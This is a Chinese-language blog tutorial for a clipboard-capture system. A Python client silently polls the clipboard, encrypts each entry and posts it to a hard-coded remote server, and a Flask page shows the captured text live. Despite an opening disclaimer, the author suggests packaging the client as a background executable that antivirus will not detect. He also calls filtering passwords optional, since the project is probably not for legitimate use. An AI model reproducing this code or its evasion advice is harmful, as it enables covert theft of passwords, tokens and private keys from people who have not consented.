? 如果是用于“监控别人”或不告知用户的采集,那是有明显法律和合规风险的
请注意:
本项目涉及剪贴板数据采集与网络传输,请确保仅在本人设备或已授权环境中使用 不建议用于未经授权的设备监控或数据采集行为 剪贴板可能包含密码、Token、隐私信息等敏感内容,请务必做好过滤与保护措施 服务端若部署在公网环境,请务必启用身份验证与 HTTPS 加密,避免数据泄露风险
作者不对因不当使用该方案所造成的任何数据泄露或法律风险负责。
? 架构设计
可以拆成三块:
1️⃣ 客户端(你现在这段代码)
监听剪贴板 加密数据 发送到服务器
2️⃣ 服务端 API
接收数据 解密 存储(内存 / 数据库)
3️⃣ Web 页面
展示剪贴板历史
# 更新软件包列表sudo apt update# 安装 Python 3 和 pip3sudo apt install -y python3 python3-pip# 可选:设置 python 命令指向 python3(方便使用)sudo apt install -y python-is-python3# 验证安装python3 --versionpip3 --versionpython 和 pip 命令代替 python3 和 pip3,上述 python-is-python3 包会创建软链接。执行完成后即可正常使用。
使用 Fernet(对称加密),优点:
简单 自带签名(防篡改) 不用你自己处理 IV / padding
安装,顺便把 Flask、flask-socketio 也装了:
pip install flask flask-socketio cryptography
之后将以下服务端代码写入到 clipboard.py里:
cat << 'EOF' | tee clipboard.pyfrom flask import Flask, request, jsonifyfrom flask_socketio import SocketIOfrom cryptography.fernet import Fernetapp = Flask(__name__)socketio = SocketIO(app, cors_allowed_origins="*")KEY = b'你的Key'fernet = Fernet(KEY)clipboard_data = []@app.route('/upload', methods=['POST'])def upload(): encrypted = request.json.get("data") try: decrypted = fernet.decrypt(encrypted.encode()).decode() clipboard_data.append(decrypted) # ? 关键:实时推送给网页 socketio.emit('new_clipboard', {"text": decrypted}) return jsonify({"status": "ok"}) except: return jsonify({"status": "error"}), 400@app.route('/')def index(): return """ <html> <head> <title>剪贴板实时监控</title> </head> <body> <h2>剪贴板记录(实时)</h2> <ul id="list"></ul> <script src="https://cdn.socket.io/4.0.0/socket.io.min.js"></script> <script> var socket = io(); socket.on('new_clipboard', function(data) { var li = document.createElement("li"); li.innerText = data.text; var list = document.getElementById("list"); list.insertBefore(li, list.firstChild); }); </script> </body> </html> """if __name__ == '__main__': socketio.run(app, host='0.0.0.0', port=5000)EOF
记得将 KEY = b'你的key填这里' 替换为实际的 Fernet 密钥,可以使用以下代码生成:
直接在本地电脑创建个py文件,然后运行后把输出的值替换掉服务端代码的key。
from cryptography.fernet import Fernetprint(Fernet.generate_key())
之后执行下方命令启动:
python clipboard.py

import timeimport pyperclipimport requestsfrom cryptography.fernet import Fernet# 生成一次 key(只做一次,然后写死)# key = Fernet.generate_key()# print(key)KEY = b'你的Key(需要与服务器的Key一致)'fernet = Fernet(KEY)SERVER_URL = "http://198.200.39.243:5000/upload"last_text = ""while True: try: current_text = pyperclip.paste().strip() if current_text and current_text != last_text: if len(current_text) < 200: # 加密 encrypted = fernet.encrypt(current_text.encode()) # 发送 requests.post(SERVER_URL, json={ "data": encrypted.decode() }) print("已发送") last_text = current_text time.sleep(1) except KeyboardInterrupt: print("程序已退出") breakpip install pyperclip requests cryptography
在浏览器中访问下方地址,就能以网页形式看到客户端上传到服务器的电脑复制的信息。
http://服务器IP:5000/
效果如下:
按照这个思路,后期可以把客户端打包成exe在电脑后台运行,不会被杀毒软件扫出病毒,我们的思路是获取剪贴板内容,而非键盘记录,键盘记录是百分百会被杀毒软件给拦截的。
这个项目有几个问题缺陷:
1️⃣ 没有持久化
现在数据存在内存里:
重启服务器/刷新页面就全没了
? 后期建议升级:
SQLite(轻量) 或 MySQL
来存储剪贴板的数据。
2️⃣ 没有身份验证(很危险)
现在任何人都可以:
POST /upload
去请求这个地址来获取数据。
? 后期必须加:
token 或 API key
3️⃣ 没有 HTTPS
你虽然加密了内容,但:
? HTTP 还是能被监听
建议:
用 Nginx + HTTPS 或 Cloudflare
否则很容易被中间人拦截给获取到数据。
4️⃣ 剪贴板敏感数据风险
现实中会包含:
密码 token 私钥
? 强烈建议加过滤:
if "password" in current_text.lower(): continue
当然这条我觉得可有可无,毕竟用这个项目估计不是干什么正经用途
到这里,一个基础但完整的“加密剪贴板同步系统”已经搭建完成。
从最初的本地剪贴板监听,到加入加密传输,再到 WebSocket 实时同步,这个项目本质上就是一个简单脚本。
当然,目前的实现还只是一个起点,它仍然有很多可以优化和扩展的空间
我做的只是一个简易版,安全系数低,后续的开发就交给你们自己想想了,我不能再详细的提供技术了,否则就:
本文链接:https://www.kinber.cn/post/6528.html 转载需授权!
推荐本站淘宝优惠价购买喜欢的宝贝:

支付宝微信扫一扫,打赏作者吧~
